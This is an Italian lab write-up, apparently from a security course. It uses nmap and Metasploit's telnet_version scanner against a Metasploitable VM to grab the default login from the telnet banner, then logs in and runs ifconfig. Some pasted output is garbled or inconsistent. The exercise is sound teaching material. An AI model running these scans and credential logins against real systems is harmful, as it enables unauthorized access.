

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

- Ottenuto l'indirizzo ip del target andiamo ad effettuare una scansione delle porte con *nmap -sV* per vedere le porte attive e i protocolli con le relative versioni. Quello che utilizzeremo oggi è il protocollo Telnet sulla porta 23

```
(root@kali)-[/home/kali]
# nmap -sV 192.168.1.31
Starting Nmap 7.92 ( https://nmap.org ) at 2024-01-23 15:14 CET
Nmap scan report for 192.168.1.31
Host is up (0.00060s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rshcd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
```

- Sul terminale andremo a lanciare il nostro programma Metasploit con il comando *msfconsole* e cercherei con il comando *search auxiliary telnet* l'exploit che ci potrebbe servire. Una volta trovata la lista e individuati quelli che potremmo sfruttare, dovremmo provarli uno ad uno. Abbiamo individuato al n°14 quello richiesto dall'esercizio.

```
msf6 > search auxiliary telnet
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	D
0	auxiliary/server/capture/telnet		normal	No	A
1	auxiliary/scanner/telnet/brocade_enable_login		normal	No	B
2	auxiliary/dos/cisco/ios_telnet_rocem	2017-03-17	normal	No	C
3	auxiliary/admin/http/dlink_dir_300_600_exec_noauth	2013-02-04	normal	No	D
4	auxiliary/scanner/ssh/juniper_backdoor	2015-12-20	normal	No	J
5	auxiliary/scanner/telnet/lantronix_telnet_password		normal	No	L
6	auxiliary/scanner/telnet/lantronix_telnet_version		normal	No	L
7	auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof	2010-12-21	normal	No	M
8	auxiliary/admin/http/netgear_pnp_getsharefolderlist_auth_bypass	2021-09-06	normal	Yes	N
9	auxiliary/admin/http/netgear_r6700_pass_reset	2020-06-15	normal	Yes	N
10	auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce	2021-04-21	normal	Yes	N
11	auxiliary/scanner/telnet/telnet_ruggedcom		normal	No	R
12	auxiliary/scanner/telnet/satel_cmd_exec	2017-04-07	normal	No	S
13	auxiliary/scanner/telnet/telnet_login		normal	No	T
14	auxiliary/scanner/telnet/telnet_version		normal	No	T
15	auxiliary/scanner/telnet/telnet_service_banner_detection		normal	No	T
16	auxiliary/scanner/telnet/telnet_service_encryption_key_id_overflow_detection		normal	No	T

- Andiamo ad utilizzare la riga numero 14 con il comando *use 14*. Una volta selezionato, utilizziamo il comando *show options* per vedere quali requisiti sono necessari per far partire l'exploit e quali invece no. Nel nostro caso l'unico necessario che manca è Rhosts (ip macchina target) che andiamo a settare con il comando *set 192.168.1.31*. Una volta eseguito controlliamo che sia stato recepito con il comando *show options*.

```
msf6 > use 14
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://github.com/
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one p
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
msf6 auxiliary(scanner/telnet/telnet_v rsion) > set rhosts 192.168.1.31
rhosts => 192.168.1.31
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.31	yes	The target host(s), see https://github.com/
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one p
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

- Lanciato l'exploit, se tutto è andato a buon fine, riceveremo un messaggio che conterrà i dati per effettuare il login su quel determinato protocollo. Nel nostro caso sono *msfadmin/msfadmin*.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.31:23 - 192.168.1.31:23 TELNET
min/msfadmin t get started
1:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

- Una volta che proveremo ad utilizzare il protocollo telnet della macchina target, ci verrà richiesto il login che eseguiremo con le credenziali ottenute tramite l'exploit ausiliario.

```

└─# telnet 192.168.1.31
Trying 192.168.1.31...
Connected to 192.168.1.31.
Escape character is '^]'.

Metasploit v4.0.0-dev (201508061529)
[*] Using configured language: english
msf5 (root@kali:~) >

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:

```

- Come ulteriore verifica possiamo andare ad inserire il comando *ifconfig* e vedremo che ci verranno restituiti i dati della macchina target.

```
msfadmin@metasploitable:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu=1500
    inet addr:192.168.1.31 Bcast:192.168.1.255 Mask:255.255.255.0
    inet6 addr: fe80::1844:a4ff:fe11:bb/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:3093 errors:0 dropped:0 overruns:0 frame:0
    TX packets:1524 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:208170 (203.2 KB) TX bytes:144434 (141.0 KB)
    Base address:0xc000 Memory:febc0000-febe0000

Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:209 errors:0 dropped:0 overruns:0 frame:0
    TX packets:209 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:77085 (75.2 KB) TX bytes:77085 (75.2 KB)
```